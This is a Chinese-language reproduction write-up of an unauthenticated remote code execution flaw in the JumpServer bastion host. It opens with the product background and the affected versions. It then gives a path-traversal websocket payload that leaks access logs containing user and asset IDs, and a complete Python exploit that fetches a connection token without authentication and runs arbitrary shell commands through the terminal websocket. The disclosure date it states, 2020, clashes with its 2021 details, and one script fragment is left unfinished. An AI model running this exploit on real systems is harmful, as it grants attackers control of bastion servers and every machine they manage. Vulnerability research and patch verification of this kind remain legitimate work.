组件介绍

Jumpserver 是全球首款完全开源、符合 4A 规范(包含认证Authentication 、授权 Authorization、账号 Accounting 和审计 Auditing)的运维安全审计系统,Jumpserver 通过软件订阅服务或者软硬件一体机的方式,向企业级用户交付多云环境下更好用的堡垒机。与传统堡垒机相比, Jumpserver 采用了分布式架构设计,支持多云环境并可灵活扩展。资产管理方面, Jumpserver 无并发和资产数量限制,支持水平扩容。Jumpserver 采用了业界领先的容器化部署方式,并且提供体验极佳的 Web Terminal 。Jumpserver 还可实现基于 Web 的文件传输,并且支持用户将运维审计录像保存在云端。

漏洞描述

2020年1月15日,JumpServer 官方发布了一则漏洞安全通告,通告披露了JumpServer 组件存在远程代码执行漏洞,漏洞等级:高危。该漏洞由于未对JumpServer 某些接口做授权限制,攻击者可利用该漏洞在未授权情况下,构造恶意数据获取服务器敏感信息,最终可造成服务器敏感性信息泄露,或者通过执行相关API操作执行任意代码,最终可控制其中所有机器。

影响范围

JumpServer < v2.6.2

JumpServer < v2.5.4

JumpServer < v2.4.5

JumpServer = v1.5.9

复现过程

通过websocketws://127.0.0.1/ws/ops/tasks/log/ payload为{"task":"aa/../../../../../logs/gunicorn"},可以获取该网站所有访问日志,可以获得token,id等的敏感信息。

image-20210116142548566

拿出一条

/api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=ccb9c6d7-6221-445e-9fcc-b30c95162825&cache_policy=1&system_user_id=79655e4e-1741-46af-a793-fff394540a52&user_id=508be25f-dea8-46f5-8ec8-866c187d8f6d

可以观察到

user_id=508be25f-dea8-46f5-8ec8-866c187d8f6d

asset_id=ccb9c6d7-6221-445e-9fcc-b30c95162825

system_user_id=79655e4e-1741-46af-a793-fff394540a52

通过日志中的 api/v1/perms/asset-permissions/user/validate 信息。通过一下脚本,获取到临时的token 20S

import requests

import json

data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}

再看websocket terminal组件的后端代码 https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/webserver.go

image-20210118200718522

接着通过以下脚本执行任意命令

import asyncio

import websockets

import requests

import json

url = "/api/v1/authentication/connection-token/?user-only=None"


# 向服务器端发送认证后的消息

async def send_msg(websocket, _text):
    if _text == "exit":
        print(f'you have enter "exit", goodbye')

        await websocket.close(reason="user exit")

        return False

    await websocket.send(_text)

    recv_text = await websocket.recv()

    print(f"{recv_text}")


# 客户端主逻辑

async def main_logic(cmd):
    print("#######start ws")

    async with websockets.connect(target) as websocket:

        recv_text = await websocket.recv()

        print(f"{recv_text}")

        resws = json.loads(recv_text)

        id = resws['id']

        print("get ws id:" + id)

        print("###############")

        print("init ws")

        print("###############")

        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{"cols":164,"rows":17}"})

        await send_msg(websocket, inittext)

        for i in range(20):
            recv_text = await websocket.recv()

            print(f"{recv_text}")

        print("###############")

        print("exec cmd: ls")

        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd + "\r\n"})

        print(cmdtext)

        await send_msg(websocket, cmdtext)

        for i in range(20):
            recv_text = await websocket.recv()

            print(f"{recv_text}")

        print('#######finish')


if __name__ == '__main__':

    try:

        import sys

        host = "http://127.0.0.1/"

        cmd = "ls"

        if host[-1] == '/':
            host = host[:-1]

        print(host)

        data = {"user": "a3e785f5-9c1b-4762-a03c-1661ec07116e", "asset": "a6401ae2-af1b-41e5-b79d-002dec173cd0",

                "system_user": "bb6efc52-1a0e-45ca-8817-49ae4fe6b9ea"}

        print("##################")

        print("get token url:%s" % (host + url,))

        print("##################")

        res = requests.post(host + url, json=data)

        token = res.json()["token"]

        print("token:%s", (token,))

        print("##################")

        target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token

        print("target ws:%s" % (target,))

        asyncio.get_event_loop().run_until_complete(main_logic(cmd))

    except:

        print("python jumpserver.py http://192.168.1.73 whoami")

修改host,cmd,data变量的值

image-20210118200748822